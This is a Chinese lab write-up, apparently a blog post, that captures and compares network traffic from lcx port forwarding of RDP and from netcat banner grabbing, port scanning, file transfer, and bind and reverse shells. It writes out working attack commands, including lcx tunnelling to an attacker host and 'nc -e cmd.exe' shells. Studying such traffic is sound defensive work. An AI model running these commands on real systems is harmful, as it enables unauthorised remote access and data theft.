
攻击机:
lcx.exe -listen 12345 10010
靶机:
lcx.exe -slave 10.10.1.100 10010 127.0.0.1 3389
攻击机10.10.1.100通过127.0.0.1:12345端口对10.10.1.22(靶机)的3389端口进行访问。
在靶机端开启建立连接,可以看到靶机在不断向10.10.1.100建立连接,由于攻击机并未开启监听,所以一直失败(黑底红字标识bad tcp),一直重复建立。(红底黄字表示tcp rst)
在成功建立连接后进行的是一次标准的三次握手。
Mstsc访问映射到本地的靶机3389端口,抓取流量
正常访问10.10.1.22(靶机)3389时产生的流量为:
经过对比可以发现,正常访问3389通常是先三次握手建立连接,并且连接是3389,然后再开始发送数据段,但是经过lcx端口转发的数据包中是先发送数据段再建立握手,但是疑惑的一点是正常访问3389和lcx端口转发PSH传递的数据段中的内容是一致的,唯一的不同是lcx端口转发会进行两次握手,而正常访问只进行一次握手。

-l:监听模式
-n:直接使用IP地址。
-v:详细输出
-z:将输入输出功能关闭。
-p:设置通信端口。
抓取靶机80端口banner信息。
nc -nv 10.10.1.22 80
整个的过程中攻击机先与靶机建立一次3次握手连接,然后再tcp payload中添加11数据(手动发送的),得到一个HTTP的返回包,然后再四次挥手断开连接。
扫描靶机指定端口段是否开放。
nc -v -z 10.10.1.22 80-500
可以看到,攻击机先对靶机发送NBNS请求,靶机回复NBNS响应包带着自己的主机名和IP,然后尝试与82、81、80端口建立握手,在于80端口建立握手后马上四次挥手断开连接。
传输文件
攻击机:nc 10.10.1.22 4444 <C:\Users\guolala\Desktop\net.txt
靶机:nc -L -p 4444 > 123.txt
先建立三次握手,然后通过PSH传输文件内容。
建立简易聊天
攻击机:nc -l -p 8888
靶机:nc -vn 10.10.1.100 8888
靶机与攻击机建立联系后,通过[PSH,ACK]来传递数据。
获取shell
正向shell
攻击机:nc 10.10.1.22 4444
靶机:nc -lvp 4444 -e c:\windows\system32\cmd.exe
攻击机主动与靶机进行三次握手后进行相互解析主机名,之后靶机会将一些信息通过[PSH,ACK]回传给攻击机。
在攻击机上输入的内容也会通过4444端口传递给靶机,然后靶机再对返回信息进行回传。
反向shell
攻击机:nc -lvp 4444
靶机:nc 10.10.1.100 4444 -e c:\windows\system32\cmd.exe
反向shell和正向shell的区别就是,正向shell为攻击机主动与靶机建立连接,而反向shell为靶机主动与攻击机建立连接。
本文分享自微信公众号 - 小啦的学习笔记(woshiguolala)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。
来源:oschina
链接:https://my.oschina.net/u/3896378/blog/4464889